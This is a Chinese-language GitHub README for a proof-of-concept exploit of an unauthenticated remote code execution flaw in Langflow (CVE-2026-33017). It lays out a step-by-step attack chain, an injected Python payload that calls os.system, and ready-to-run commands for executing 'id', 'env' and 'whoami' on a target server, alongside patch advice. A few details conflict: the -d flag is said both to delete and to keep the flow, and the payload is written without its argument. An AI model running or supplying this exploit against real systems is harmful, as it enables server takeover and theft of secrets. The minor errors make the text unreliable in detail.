r3nsi15/CVE-2026-33017-langflow-rce
GitHub: r3nsi15/CVE-2026-33017-langflow-rce
这是一个针对 Langflow 未授权远程代码执行漏洞 CVE-2026-33017 的概念验证利用脚本,能自动获得 token 并注入恶意 CustomComponent 代码实现命令执行。
Stars: 0 | Forks: 0
# CVE-2026-33017 — Langflow 未授权远程代码执行 (RCE)
## 概述
**CVE ID:** CVE-2026-33017
**受影响软件:** Langflow
**受影响版本:** <= 1.8.2
**修复版本:** >= 1.9.0
**严重性:** 严重
**作者:** r3nsi15
**日期:** 2026
## 描述
Langflow 暴露了一个公共 flow 构建端点(`/api/v1/build_public_tmp/{flowID}/flow`),该端点接受
任意 `CustomComponent` 代码块,并在无需认证的情况下在服务端执行它们。通过
在 `CustomComponent` 节点的 `code` 字段中注入恶意 Python 载荷,一个未经过身份验证的
攻击者能够以 Langflow 服务器进程的权限执行任意操作系统命令。
攻击链首先滥用 `/api/v1/auto_login` 端点,该端点在 Langflow 运行在默认的 auto-login 配置下时,
无需凭证即可颁发一个 bearer token。然后使用该 token 创建一个临时公共 flow,并通过构建
端点触发服务端代码执行。
## 受影响端点
| 端点 | 方法 | 需要认证 | 用途 |
|---|---|---|---|
| `/api/v1/auto_login` | GET | 否 | 获取 bearer token(必须启用 auto-login) |
| `/api/v1/flows/` | POST | 是 (Bearer) | 创建一个新 flow |
| `/api/v1/build_public_tmp/{flowID}/flow` | POST | 否(公共) | 触发构建 — **漏洞执行点** |
| `/api/v1/flows/{flowID}` | DELETE | 是 (Bearer) | 清理已创建的 flow |
## 概念验证
**文件:** `CVE-2026-33017_POC.py`
### 要求
- Python 3.x
- `requests` 库
- 能够访问一个启用了 auto-login 的 Langflow 实例
```
pip install requests
```
### 用法
```
python3 CVE-2026-33017_POC.py -u -c [-d]
```
### 参数
| 标志 | 长格式 | 必需 | 描述 |
|---|---|---|---|
| `-u` | `--url` | 是 | Langflow 实例的基础 URL |
| `-c` | `--command` | 是 | 要在服务器上执行的 OS 命令 |
| `-d` | `--delete` | 否 | 在利用后删除已创建的 flow |
### 示例
**验证代码执行:**
```
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "id"
```
**获取服务器环境变量:**
```
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "env"
```
**在利用后保持 flow 存活(跳过清理):**
```
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "whoami" -d
```
### 预期输出
```
[+] Got token
[+] Created flow with id:
[+] Exploit sent successfully!
[+] Flow deleted successfully!
```
## 载荷分解
该漏洞利用将以下 Python 片段注入到 `CustomComponent` 节点的 `code` 字段中:
```
from langflow.custom import Component
from langflow.io import Output
_r = __import__('os').system()
class ExploitComponent(Component):
display_name = "ExploitComponent"
outputs = [Output(display_name="Result", name="output", method="run")]
def run(self):
return "ok"
```
- `__import__('os').system(...)` - 动态导入 `os` 模块并执行攻击者提供的 shell 命令。
- 类定义的其余部分是一个有效的 `CustomComponent`,用于满足 Langflow 的组件加载器而不引发解析错误。
- flow 被创建为 `PUBLIC` 类型,并且在其公共端点上调用构建端点,这意味着 **无需 session cookie 或认证 token** 即可触发执行。
## 根本原因
Langflow 的 `CustomComponent` 系统允许将任意 Python 代码作为 flow 定义的一部分提交。
`/api/v1_public_tmp/{flowID}/flow` 端点在服务端构建并部分执行该代码,包括模块级语句,
而没有使用沙箱或限制对 Python 内置函数(如 `__import__`)的访问。
## 攻击链总结
```
1. GET /api/v1/auto_login → Obtain Bearer token (no credentials needed)
2. POST /api/v1/flows/ → Create a PUBLIC flow (Bearer token)
3. POST /api/v1/build_public_tmp/ → Inject & execute malicious CustomComponent (no auth)
4. DELETE /api/v1/flows/{id} → Clean up (optional)
```
针对默认部署的 Langflow,匿名攻击者可以执行上述所有四个步骤。
## 修复建议
- **升级** Langflow 至 1.9.0 或更高版本。
- 在任何面向互联网的部署中**禁用 auto-login**(`LANGFLOW_AUTO_LOGIN=false`)。
## 免责声明
此概念验证仅用于**教育和授权的安全研究目的**。
未经明确书面许可,将此脚本用于任何系统是非法的且不道德的。
作者和贡献者不对滥用行为承担任何责任。
标签:API安全, CISA项目, CVE, HTTP接口, JSON输出, Langflow, Python, RCE, 事件响应, 低代码平台, 威胁模拟, 安全漏洞, 恶意软件库, 攻击利用, 数字签名, 无后门, 服务器端执行, 未授权访问, 漏洞, 编程工具, 网络安全, 自动化攻击, 认证绕过, 远程代码执行, 逆向工具, 隐私保护